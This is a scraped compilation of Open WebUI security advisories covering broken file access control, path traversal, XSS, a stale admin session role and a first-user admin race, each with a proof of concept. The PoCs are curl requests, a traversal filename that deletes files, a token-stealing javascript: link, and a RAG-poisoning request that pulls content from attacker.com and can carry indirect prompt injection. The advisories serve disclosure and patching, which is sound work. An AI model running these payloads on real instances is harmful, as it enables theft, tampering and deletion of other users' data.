async def getsharedchatidsbyfileid(self, fileid, db=None): if self.linked and fileid == "victim-file": # This mirrors a chatfile row tying victim-file to the attacker's # shared chat. The real insertion sink is Chats.insertchatfiles(). return ["attacker-chat"] return []

class FakeAccessGrants: def init(self, granted: bool): self.granted = granted

async def hasaccess(self, args, kwargs): return False

async def getaccessibleresourceids( self, userid, resourcetype, resourceids, permission="read", usergroupids=None, db=None, ): if ( self.granted and userid == "attacker" and resourcetype == "sharedchat" and "attacker-chat" in resourceids and permission == "read" ): return {"attacker-chat"} return set()

class FakeDb: def init(self): self.added = [] self.committed = False

def addall(self, rows): self.added.extend(rows)

async def commit(self): self.committed = True

class FakeDbContext: def init(self, db): self.db = db

async def aenter(self): return self.db

async def aexit(self, exctype, exc, tb): return False

async def verifyinsertsinkacceptsvictimfileid(): import openwebui.models.chats as chatsmodule

fakedb = FakeDb() chatstable = chatsmodule.Chats

originalcontext = chatsmodule.getasyncdbcontext originalexisting = chatstable.getchatfilesbychatidandmessageid

async def fakeexisting(self, chatid, messageid, db=None): return []

try: chatsmodule.getasyncdbcontext = lambda db=None: FakeDbContext(fakedb) chatstable.getchatfilesbychatidandmessageid = types.MethodType(fakeexisting, chatstable)

inserted = await chatstable.insertchatfiles( chatid="attacker-chat", messageid="attacker-message", fileids=["victim-file"], userid="attacker", ) finally: chatsmodule.getasyncdbcontext = originalcontext chatstable.getchatfilesbychatidandmessageid = originalexisting

return { "insertreturnedrows": bool(inserted), "dbcommitcalled": fakedb.committed, "storedfileids": [getattr(row, "fileid", None) for row in fakedb.added], "storedchatids": [getattr(row, "chatid", None) for row in fakedb.added], "storeduserids": [getattr(row, "userid", None) for row in fakedb.added], }

async def main() -> None: prepareimports()

import openwebui.utils.accesscontrol.files as fileacl

attacker = SimpleNamespace(id="attacker", role="user")

original = { "Files": fileacl.Files, "Knowledges": fileacl.Knowledges, "Groups": fileacl.Groups, "Channels": fileacl.Channels, "Chats": fileacl.Chats, "Models": fileacl.Models, "AccessGrants": fileacl.AccessGrants, }

try: fileacl.Files = FakeFiles() fileacl.Knowledges = FakeKnowledges() fileacl.Groups = FakeGroups() fileacl.Channels = FakeChannels() fileacl.Models = FakeModels()

fileacl.Chats = FakeChats(linked=False) fileacl.AccessGrants = FakeAccessGrants(granted=False) before = await fileacl.hasaccesstofile("victim-file", "read", attacker)

fileacl.Chats = FakeChats(linked=True) fileacl.AccessGrants = FakeAccessGrants(granted=True) after = await fileacl.hasaccesstofile("victim-file", "read", attacker)

insertsink = await verifyinsertsinkacceptsvictimfileid()

result = { "victimfileid": "victim-file", "victimfileowner": "victim", "attackerid": "attacker", "attackerownsfile": False, "insertsink": insertsink, "beforechatfilelinkattackercanread": before, "afterattackersharedchatlinksvictimfileattackercanread": after, "confirmed": ( before is False and after is True and insertsink["insertreturnedrows"] is True and insertsink["storedfileids"] == ["victim-file"] and insertsink["storeduserids"] == ["attacker"] ), "sink": "Chats.insertchatfiles() accepts caller-supplied fileids without checking file ownership/read access", } print(json.dumps(result, indent=2, sortkeys=True)) finally: for name, value in original.items(): setattr(fileacl, name, value)

if name == "main": asyncio.run(main())

Recommended Fix

Before calling Chats.insertchatfiles(), filter usermessage.files to files the caller owns or can read:

python allowedfileids = [] for fileid in requestedfileids: file = await Files.getfilebyid(fileid) if file and (file.userid == user.id or user.role == 'admin' or await hasaccesstofile(fileid, 'read', user)): allowedfileids.append(fileid)

Also consider enforcing this inside Chats.insertchatfiles() so future call sites cannot create unauthorized chatfile associations.

Additionally, the shared-chat branch of hasaccesstofile() should honour accesstype, so a read grant cannot satisfy the write check used by file deletion.

Consolidation

Per Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:

- Cross-user file READ via a forged chatfile association (GET /api/v1/files/{id}/content): @0xEr3n. Fixed by #25054, which gates Chats.insertchatfiles() so a caller can only link files they own or can read. - Cross-user file DELETION via the shared-chat branch ignoring accesstype (DELETE /api/v1/files/{id}): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour accesstype.

Affected: <= 0.9.5. Patched: >= 0.9.6. One CVE for the consolidated advisory.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary An access control check is missing when deleting a file from a knowledge base. The only check being done is that the user has write access to the knowledge base (or is admin), but NOT that the file actually belongs to this knowledge base. It is thus possible to delete arbitrary files from arbitrary knowledge bases (as long as one knows the file id)

Details The source code at https://github.com/open-webui/open-webui/blob/main/backend/openwebui/routers/knowledge.py#L803 does not properly validate that the file being deleted belongs to the current knowledge base: @router.post("/{id}/file/remove", responsemodel=Optional[KnowledgeFilesResponse]) def removefilefromknowledgebyid( id: str, formdata: KnowledgeFileIdForm, deletefile: bool = Query(True), user=Depends(getverifieduser), db: Session = Depends(getsession), ): knowledge = Knowledges.getknowledgebyid(id=id, db=db) [...] # Note : Access control check on the knowledge base if ( knowledge.userid != user.id and not AccessGrants.hasaccess( userid=user.id, resourcetype="knowledge", resourceid=knowledge.id, permission="write", db=db, ) and user.role != "admin" ): raise HTTPException( statuscode=status.HTTP400BADREQUEST, detail=ERRORMESSAGES.ACCESSPROHIBITED, )

file = Files.getfilebyid(formdata.fileid, db=db) [...] # Note : No checks on the file

if deletefile: try: # Remove the file's collection from vector database filecollection = f"file-{formdata.fileid}" if VECTORDBCLIENT.hascollection(collectionname=filecollection): VECTORDBCLIENT.deletecollection(collectionname=filecollection) except Exception as e: log.debug("This was most likely caused by bypassing embedding processing") log.debug(e) pass

# Delete file from database Files.deletefilebyid(formdata.fileid, db=db) [...]

PoC Victim has a knowledge base with a file (id: 9db6dcee-bb3b-483e-aaf3-310fda366af1) Attacker creates their own collection (id: dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b) Attacker deletes the victim file from their own collection: POST /api/v1/knowledge/dde9e2b6-21c9-4aa1-a1cf-8cb0e4392f2b/file/remove HTTP/1.1 Host: gaius-neo-val.fr.space.corp Authorization: Bearer eyJhbGciOiJIUzI1[...]nHiaod-3vfNE0 [...]

{"fileid":"9db6dcee-bb3b-483e-aaf3-310fda366af1"}

-----

HTTP/1.1 200 OK [...] The file is then deleted from the victim's knowledge base.

Impact Arbitrary file deletion

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite

Affected Component

Retrieval web/YouTube processing endpoints: - backend/openwebui/routers/retrieval.py (lines 1810-1837, processweb) - backend/openwebui/routers/retrieval.py (the parallel processyoutube endpoint) - backend/openwebui/routers/retrieval.py (line 1445, savedocstovectordb call chain)

Affected Versions

Current main branch (commit 6fdd19bf1) and likely all versions with RAG/knowledge base functionality.

Description

The POST /api/v1/retrieval/process/web endpoint accepts a user-supplied collectionname and an overwrite query parameter (default: True). It performs no authorization check on whether the calling user owns or has write access to the target collection. When overwrite=True, savedocstovectordb calls VECTORDBCLIENT.deletecollection() on the target collection before writing new content.

Combined with the knowledge base enumeration vulnerability (separate report), an attacker can trivially discover any user's knowledge base UUID and then destroy or poison it.

python retrieval.py:1810-1837 — no collection authorization check @router.post('/process/web') async def processweb( request: Request, formdata: ProcessUrlForm, user=Depends(getverifieduser), ... ): # ... fetch and process the URL ... savedocstovectordb( request=request, docs=docs, collectionname=formdata.collectionname, # attacker-controlled, unchecked overwrite=overwrite, # defaults to True ... )

CVSS 3.1 Breakdown

| Metric | Value | Rationale | |--------|-------|-----------| | Attack Vector | Network (N) | Exploited remotely via API call | | Attack Complexity | Low (L) | Single API call with a known KB UUID | | Privileges Required | Low (L) | Requires any authenticated user account | | User Interaction | None (N) | No victim interaction required | | Scope | Unchanged (U) | Impact within the knowledge base authorization boundary | | Confidentiality | None (N) | No data disclosure from this vulnerability directly | | Integrity | High (H) | Complete replacement of victim's KB content with attacker-controlled data | | Availability | High (H) | Victim's original KB embeddings are deleted; KB effectively destroyed |

Attack Scenario

1. Attacker discovers victim's KB UUID via the knowledge-bases meta-collection (separate finding) or other enumeration. 2. Attacker sends: POST /api/v1/retrieval/process/web?overwrite=true { "url": "https://attacker.com/poison", "collectionname": "<victimkbuuid>" } 3. The endpoint fetches content from the attacker's URL. 4. savedocstovectordb deletes the entire vector collection belonging to the victim's knowledge base. 5. The attacker's fetched content is embedded and written as the new collection content. 6. Victim's RAG queries against their KB now return attacker-controlled content instead of their original documents.

Impact

- Data destruction: Victim's original KB embeddings are permanently deleted from the vector store - RAG poisoning: Attacker-controlled content replaces legitimate knowledge, causing the LLM to return misleading or malicious answers to the victim - Indirect prompt injection: Poisoned content can contain crafted prompts that manipulate the victim's LLM behavior when queried - Persistence: The poisoned content persists until the KB is rebuilt from source files

Preconditions

- Attacker must have a valid user account - Attacker must know the target collection name (KB UUID) — easily obtained via the knowledge-bases enumeration finding

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Stale Admin Role in Socket.IO Session Pool Enables Post-Demotion Cross-User Note Access

Affected Component

Socket.IO session state and role-check callsites: - backend/openwebui/socket/main.py (lines 330-351, connect handler — role snapshotted into SESSIONPOOL) - backend/openwebui/socket/main.py (lines 393-398, heartbeat handler — does not refresh role) - backend/openwebui/socket/main.py (line 538, ydoc:document:join — uses cached role for admin check) - backend/openwebui/socket/main.py (line 611, documentsavehandler — uses cached role for admin check) - backend/openwebui/routers/users.py (lines 557-633, role update — does not invalidate SESSIONPOOL) - backend/openwebui/routers/users.py (line 641, user delete — does not invalidate SESSIONPOOL)

Affected Versions

Current main branch (commit 6fdd19bf1) and likely all versions with the collaborative document (Yjs) Socket.IO handlers.

Description

When a user connects via Socket.IO, the connect handler authenticates them via JWT and stores their user record (including role) in the in-memory SESSIONPOOL dictionary keyed by session ID. The heartbeat handler keeps the session alive indefinitely but only refreshes the lastseenat timestamp — never the role.

Role checks in the Yjs collaborative document handlers (ydoc:document:join, documentsavehandler) consult the cached SESSIONPOOL role rather than the database. Meanwhile, administrative role changes and user deletions do not iterate SESSIONPOOL to disconnect affected sessions. As a result, a user whose admin role has been revoked retains admin privileges within their existing Socket.IO session for as long as they keep the connection alive (via automatic heartbeats).

HTTP endpoints are not affected — getcurrentuser at utils/auth.py refetches the user record from the database on every request. The gap is exclusive to the Socket.IO session cache.

python socket/main.py:330-351 — role snapshotted at connect time async def connect(sid, environ, auth): user = None if auth and 'token' in auth: data = decodetoken(auth['token']) if data is not None and 'id' in data: user = Users.getuserbyid(data['id']) if user: SESSIONPOOL[sid] = { 'id': user.id, 'role': user.role, # ← snapshotted, never refreshed ... }

socket/main.py:393-398 — heartbeat refreshes lastseenat only async def heartbeat(sid, data): user = SESSIONPOOL.get(sid) if user: SESSIONPOOL[sid] = {user, 'lastseenat': int(time.time())} # role is carried forward unchanged

socket/main.py:538 — admin check against cached role if user.get('role') != 'admin' and not hasaccess(userid, 'note', noteid, 'read', db=db): return

Attack Scenario

1. User B is an admin and has an active browser session with a live Socket.IO connection. SESSIONPOOL[sid] records role='admin'. 2. Admin A demotes User B to a regular user via POST /api/v1/users/{Bid}/update. The DB user.role becomes 'user'. 3. No Socket.IO disconnect, no SESSIONPOOL update, no token revocation event is triggered by the role change. 4. User B's client continues sending heartbeat events every few seconds; these are accepted and only refresh lastseenat. 5. User B emits ydoc:document:join with documentid = 'note:<victimnoteid>' for any note they do not own. 6. The handler at line 538 evaluates user.get('role') != 'admin' — returns False because SESSIONPOOL still holds the stale admin role. Access check is bypassed, User B joins the document room, receives full document state and live updates. 7. User B emits ydoc:document:update for the same note. The handler at line 611 performs the same cached-admin check, bypasses authorization, and persists attacker-controlled content to the victim's note via Notes.updatenotebyid.

The same bypass occurs if the user is deleted entirely (deleteuserbyid) — the deleted user retains admin privileges on their live socket until disconnection.

Impact

- Read access to any user's notes after admin privileges have been revoked - Write access (content injection, overwrite) to any user's notes under the same conditions - The stale privilege is bounded only by the attacker's willingness to keep the Socket.IO connection alive; heartbeats extend the session indefinitely - Official admin demotion or user deletion gives a false sense of security — HTTP access is correctly revoked, but real-time collaborative access silently continues

Preconditions

- Attacker must have an active Socket.IO connection established while they held admin role - Attacker must retain the Socket.IO session after demotion/deletion (trivial — just don't close the browser)

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
Path Traversal, Race Condition
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

CONFIDENTIAL

Vulnerability Disclosure Analysis Documentation -----------------------------------------------

Vulnerability Details --------------------- 1. Discoverer: Taylor Pennington of KoreLogic, Inc. 2. Date Submitted: June 11, 2024 3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal 4. High-level Summary: Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. After the file is written, it is deleted. 5. Affected Vendor: Open WebUI 6. Affected Product(s): Open WebUI (Formerly Ollama WebUI) 7. Affected Version(s): 0.1.105 8. Platform/OS: Debian GNU/Linux 12 (bookworm) 9. Vector: HTTP web interface 10. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') 11. Technical Analysis: When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. If the file is an audio file it will be sent to a second API that will attempt to transcribe it.

The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.

This can be visualized by examining the python code for the "/ollama/models/upload" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127):

def uploadmodel(file: UploadFile = File(...), urlidx: Optional[int] = None): if urlidx == None: urlidx = 0 ollamaurl = app.state.OLLAMABASEURLS[urlidx]

filepath = f"{UPLOADDIR}/{file.filename}"

# Save file in chunks with open(filepath, "wb+") as f: for chunk in file.file: f.write(chunk)

def fileprocessstream(): nonlocal ollamaurl totalsize = os.path.getsize(filepath) chunksize = 1024 1024 try: with open(filepath, "rb") as f: total = 0 done = False

while not done: chunk = f.read(chunksize) if not chunk: done = True continue

total += len(chunk) progress = round((total / totalsize) 100, 2)

res = { "progress": progress, "total": totalsize, "completed": total, } yield f"data: {json.dumps(res)}\n\n"

if done: f.seek(0) hashed = calculatesha256(f) f.seek(0)

url = f"{ollamaurl}/api/blobs/sha256:{hashed}" response = requests.post(url, data=f)

if response.ok: res = { "done": done, "blob": f"sha256:{hashed}", "name": file.filename, } os.remove(filepath) yield f"data: {json.dumps(res)}\n\n" else: raise Exception( "Ollama: Could not create blob, Please try again." )

except Exception as e: res = {"error": str(e)} yield f"data: {json.dumps(res)}\n\n"

return StreamingResponse(fileprocessstream(), mediatype="text/event-stream")

The model is temporarily written to disk in chunks and then the data is sent to another internal API. Once the file is successfully passed, the file is removed from the disk. Note line 1116, os.remove(filepath).

This has an affect of stomping on and ultimately deleting any file that the user of the open-webui service has permissions over.

It may be possible to continue sending chunks to the file slowly and create a race condition however, this was not validated.

12. Proof-of-Concept:

First, create a file under the /tmp directory named DELETEME while logged in as the user account of the web application or chown the file to be owned by the open-webui user.

# su ollama # touch /tmp/DELETEME Execute the following cURL command after replacing the exported JWT value for a valid user session:

export JWT="JWTHERE"; curl -s -X $'POST' \ -H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H "Authorization: Bearer ${JWT}" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \ --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../tmp/DELETEME\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' \ $'https://openwebui.example.com/ollama/models/upload'

Verify that /tmp/DELETEME has been deleted.

13. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to:

filename = os.path.basename(file.filename) filepath = f"{UPLOADDIR}/{filename}"

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.

Details All files/ related endpoints lack permission checks.

Listing all files For example, let's see how file listing is implemented: https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110 https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26 Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' userid to the requesting user.

This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions: Accessing the content of any file https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193 Deleting any file https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241

PoC Configuration 1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop: docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama 2. I created an admin user 3. I created a second user to act as the threat actor with no elevated permissions 4. Admin user uploaded test.txt in a conversation with model 5. Admin user uploaded mydeepestsecret.docx in a conversation with model

Listing files uploaded by other users 1. Login to threat actor 2. Perform a GET request to /api/v1/files/ sh curl -X 'GET' \ 'http://localhost:3000/api/v1/files/' \ -H 'accept: application/json' json [ { "id": "b9733e9c-0714-4425-8915-d0361bf66dfc", "userid": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1", "filename": "b9733e9c-0714-4425-8915-d0361bf66dfctest.txt", "meta": { "name": "test.txt", "contenttype": "text/plain", "size": 4, "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfctest.txt" }, "createdat": 1724709202 }, { "id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98", "userid": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1", "filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98mydeepestsecret.docx", "meta": { "name": "mydeepestsecret.docx", "contenttype": "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "size": 6485, "path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98mydeepestsecret.docx" }, "createdat": 1724710236 } ]

Accessing other users' file content 1. Login to threat actor 2. Perform a GET request to /api/v1/files/{id}/content sh curl -X 'GET' \ 'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \ -H 'accept: application/json' wow

Deleting another user's uploaded file 1. Login to threat actor 2. Perform a DELETE request to /api/v1/files/{id} sh curl -X 'DELETE' \ 'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \ -H 'accept: application/json' json { "message": "File deleted successfully" } 3. We will verify this action by furthur listing all files as mentioned above: json [ { "id": "b9733e9c-0714-4425-8915-d0361bf66dfc", "userid": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1", "filename": "b9733e9c-0714-4425-8915-d0361bf66dfctest.txt", "meta": { "name": "test.txt", "contenttype": "text/plain", "size": 4, "path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfctest.txt" }, "createdat": 1724709202 } ]

Impact Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.

Personal Notice In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.

Thanks in advance and have a good week (:

Credits

This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
XSS
AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Summary A Stored Cross-Site Scripting (XSS) vulnerability exists in the Banner component due to an improper sanitization order (specifically, DOMPurify is executed before the marked library).

This vulnerability allows a compromised or malicious administrator to plant a malicious payload in the global banner. Crucially, this vector enables Privilege Escalation, as the malicious banner is rendered for all users, including the Super Admin (Primary Admin).

Consequently, the payload successfully bypasses the existing security mechanism. An attacker can leverage this to steal the Super Admin's session token

Details Root Cause: The code attempts to sanitize the input using DOMPurify.sanitize() before parsing it with marked.parse().

DOMPurify cleans the raw input. Since Link)) is valid text (not HTML), it passes through DOMPurify unchanged. marked handles the text and converts it into a clickable HTML link: <a href="javascript:alert(javascript:alert(localStorage.token))">Link</a>. This resulting unsafe HTML is rendered directly via {@html ...} without further checks.

src/lib/components/common/Banner.svelte (Line 103) svelte {@html marked.parse(DOMPurify.sanitize((banner?.content ?? '').replace(/\n/g, '<br>')))} POC 1. Attacker Action: Log in as a compromised Admin account and navigate to Settings > Interface > UI > Banners. 2. Injection: Add a new banner and enter the following payload in the content field. This payload creates a link that alerts the user's session token when clicked. markdown Click for Security Update) 3. Execution: Click Save. The malicious banner is now stored and active. 4. Victim Action (Privilege Escalation): The Primary Admin logs in and sees the banner on the main dashboard. Believing it to be a system notification, they click the link. Victim Dashboard View: <img width="880" height="245" alt="image" src="https://github.com/user-attachments/assets/b70d7f65-ab34-4634-9e78-2a8a7eda1439" />

5. Result: The JavaScript executes immediately within the Primary Admin's session, exposing their full-access token.

Impact Extend permissions and damage to the entire system. You need administrator privileges to create banners, but this vulnerability is important because it can attack primary administrators and other administrators.

Destination: Other Administrators /Primary Administrators. Attack Vector: Corrupting all administrator accounts (even those with limited scope if future granular privileges exist or simply credentials are compromised) could allow an attacker to set traps for the default administrator. The result: Unlike self-XSS or simple administrator configuration changes, this allows you to capture active sessions for the most privileged users and bypass authentication controls such as MFA (because the session is already active).

Recommended Patch Modify src/lib/components/common/Banner.svelte (Line 103):

{@html DOMPurify.sanitize(marked.parse((banner?.content ?? '').replace(/\n/g, '<br>')))}

Resolution

Fixed in v0.8.0. src/lib/components/common/Banner.svelte:103 now applies the sanitization in the correct order: DOMPurify.sanitize(marked.parse(...)). marked.parse runs first and converts text markdown into the corresponding HTML link element; DOMPurify.sanitize then strips the javascript: URL and any other dangerous attributes/elements before the result reaches {@html ...}.

Users on >= 0.8.0 are not affected.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Cross-User File Access via Unchecked fileid in Folder Knowledge and Knowledge-Base Attach Endpoints

Summary

Multiple endpoints accept a user-supplied fileid and attach the referenced file to a resource the caller controls (folder knowledge, knowledge-base contents) without verifying that the caller owns or has been granted access to the file. The file's content then becomes reachable through the downstream RAG / file-content paths, allowing any authenticated user to exfiltrate any other user's private file — and on the knowledge-base path, also to overwrite it — given knowledge of the file's UUID.

Affected code paths

Path 1 — Folder knowledge ingestion via folders.update

backend/openwebui/routers/folders.py:156 — POST /api/v1/folders/{id}/update accepts a FolderUpdateForm whose data: Optional[dict] field is written verbatim into the folder. The folder consumer at backend/openwebui/utils/middleware.py:2409 spreads folder.data['files'] directly into formdata['files'] for the next chat completion, which becomes RAG context. There is no per-file ownership check at the writer (the update handler) and no per-file ownership check at the reader (the middleware folder consumer) — only the folder list endpoint (folders.py:78-94) cleans up by stripping inaccessible files, and that runs lazily at folder-list time rather than at chat time. An attacker with a victim's file UUID can write data: {"files": [{"id": "<victim>", "type": "file"}]} into their own folder, immediately chat in that folder, and have the LLM return the victim's document content via RAG. The cleanup pass strips the file from persistence later, but the exfiltration has already happened.

Path 2 — Knowledge-base attach via knowledge.{id}/file/add and knowledge.{id}/files/batch/add

backend/openwebui/routers/knowledge.py:616-669 (addfiletoknowledgebyid) and backend/openwebui/routers/knowledge.py:972-1035 (addfilestoknowledgebyidbatch) check the caller's write access to the knowledge base but never validate the caller's access to the fileid being attached. Because hasaccesstofile(..., user) returns True for any file linked to a KB the caller owns, attaching a victim's fileid to an attacker-owned KB silently unlocks read and write on that file through /api/v1/files/{id}/content and /api/v1/files/{id}/data/content/update. This is a stronger variant than Path 1 — full read AND overwrite, persisted, no cleanup pass to mitigate.

Proof of concept

Path 1 (folder knowledge) bash Attacker writes victim fileid into their own folder curl -X POST http://target/api/v1/folders/<attackerfolderid>/update \ -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \ -d "{\"data\": {\"files\": [{\"id\": \"$VICTIMFILEID\", \"type\": \"file\"}]}}"

Attacker chats in that folder — victim file becomes RAG context curl -X POST http://target/api/chat/completions \ -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \ -d "{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":\"summarise my uploaded document\"}],\"folderid\":\"<attackerfolderid>\"}" Path 2 (knowledge-base attach)

Attacker creates own KB KB=$(curl -s -X POST http://target/api/v1/knowledge/create \ -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \ -d '{"name":"x","description":"x","data":{}}' | jq -r .id)

Attach victim's fileid — no ownership check curl -X POST http://target/api/v1/knowledge/$KB/file/add \ -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \ -d "{\"fileid\":\"$VICTIMFILEID\"}"

Read victim file through standard files endpoint (now accessible because file is "linked to KB I own") curl http://target/api/v1/files/$VICTIMFILEID/content -H "Authorization: Bearer $ATK"

Overwrite curl -X POST http://target/api/v1/files/$VICTIMFILEID/data/content/update \ -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \ -d '{"content":"tampered"}'

Impact

- Confidentiality: Any authenticated user can read the contents of any other user's private uploaded file, given knowledge of the file UUID. UUIDs are V4 (not enumerable in practice) but leak through normal usage — file IDs appear in chat sources, in shared chats' citations, in URL paths (/workspace/files/<id>), in browser history / referrer headers, and in any export/share flow that surfaces source metadata. - Integrity: Path 2 (knowledge attach) additionally allows the attacker to overwrite the victim's file content, persisting attacker-controlled text under the victim's fileid. Subsequent reads by the victim or by any RAG flow that ingests the victim's file return the tampered content. - Availability: None directly — file rows are not deleted by these paths.

Recommended fix

Validate the supplied fileid against the caller's read access before attaching, in every writer.

Credits

Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.

MrBeard-FT — first to identify the folder-knowledge ingestion path (Path 1) Classic298 — first to identify the knowledge-base attach path (Path 2 — /knowledge/{id}/file/add and /files/batch/add)

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
Race Condition
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The LDAP and OAuth authentication flows use a TOCTOU (Time-of-Check-Time-of-Use) pattern for first-user admin role assignment. The regular signup handler (signuphandler in auths.py, line 663) was explicitly patched to prevent this race with the comment "Insert with default role first to avoid TOCTOU race", but the LDAP and OAuth code paths were never updated with the same fix.

Vulnerable Code

LDAP (auths.py, lines 479-490) python Line 482 - CHECK: is the user table empty? role = 'admin' if not Users.hasusers(db=db) else request.app.state.config.DEFAULTUSERROLE

Lines 484-490 - USE: create user with the role determined above user = Auths.insertnewauth( email=email, password=str(uuid.uuid4()), name=cn, role=role, # <-- role was determined BEFORE insert, race window exists db=db, )

OAuth (oauth.py, lines 1103-1112, 1566-1574) python Line 1104 - CHECK: count users def getuserrole(self, user, userdata): usercount = Users.getnumusers() if not user and usercount == 0: return 'admin' # Line 1112

Lines 1566-1574 - USE: create user with pre-determined role user = Auths.insertnewauth( ... role=self.getuserrole(None, userdata), # Line 1571 ... )

Both paths determine the role BEFORE inserting the user, creating a race window where multiple concurrent requests on a fresh instance can all observe an empty database and all receive the admin role.

Comparison with Patched Signup

The signuphandler (auths.py, line 663) was explicitly fixed: python Insert with default role first to avoid TOCTOU race user = Auths.insertnewauth(..., role=DEFAULTUSERROLE, ...) Then check if this is the only user and upgrade if Users.getnumusers() == 1: Users.updateuserrolebyid(user.id, 'admin')

The LDAP and OAuth paths did NOT receive this fix.

Exploitation

1. Deploy Open WebUI with LDAP or OAuth enabled on a fresh instance (no existing users) 2. Send multiple concurrent authentication requests from different users 3. Multiple requests pass the hasusers() / getnumusers() == 0 check simultaneously 4. All concurrent users become administrators

DATABASEENABLESESSIONSHARING defaults to False (env.py:387), so each call uses its own database session, widening the race window.

Impact

Any LDAP/OAuth user who times their first login concurrently with the legitimate first admin can escalate to full admin privileges, gaining access to all user data, system configuration, API keys, and connected LLM backends.

Suggested Fix

Apply the same insert-then-check pattern used in signuphandler: insert the user with DEFAULTUSERROLE first, then atomically check if this is the only user and upgrade to admin only if so.

Resolution

Fixed in PR #23626 (commit 96a0b3239), first released in v0.9.0 (Apr 2026). Both LDAP (routers/auths.py) and OAuth (utils/oauth.py) registration paths now use the same insert-first-check-after pattern that signuphandler already had:

1. Insert the new user with DEFAULTUSERROLE unconditionally — no pre-insert role decision based on user count. 2. After the insert commits, atomically call Users.getnumusers() == 1 to check whether this is the sole user. 3. Only the sole user gets promoted to admin via Users.updateuserrolebyid.

OAuthManager.getuserrole was also updated to return DEFAULTUSERROLE (not admin) for first-user bootstrap; admin promotion is deferred to the post-insert check above. With this ordering, two concurrent first-user registrations that both observe an empty table can both insert, but only one will see getnumusers() == 1 afterward — the other will see == 2 and not be promoted.

Users on >= 0.9.0 are not affected.

1 / 3
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
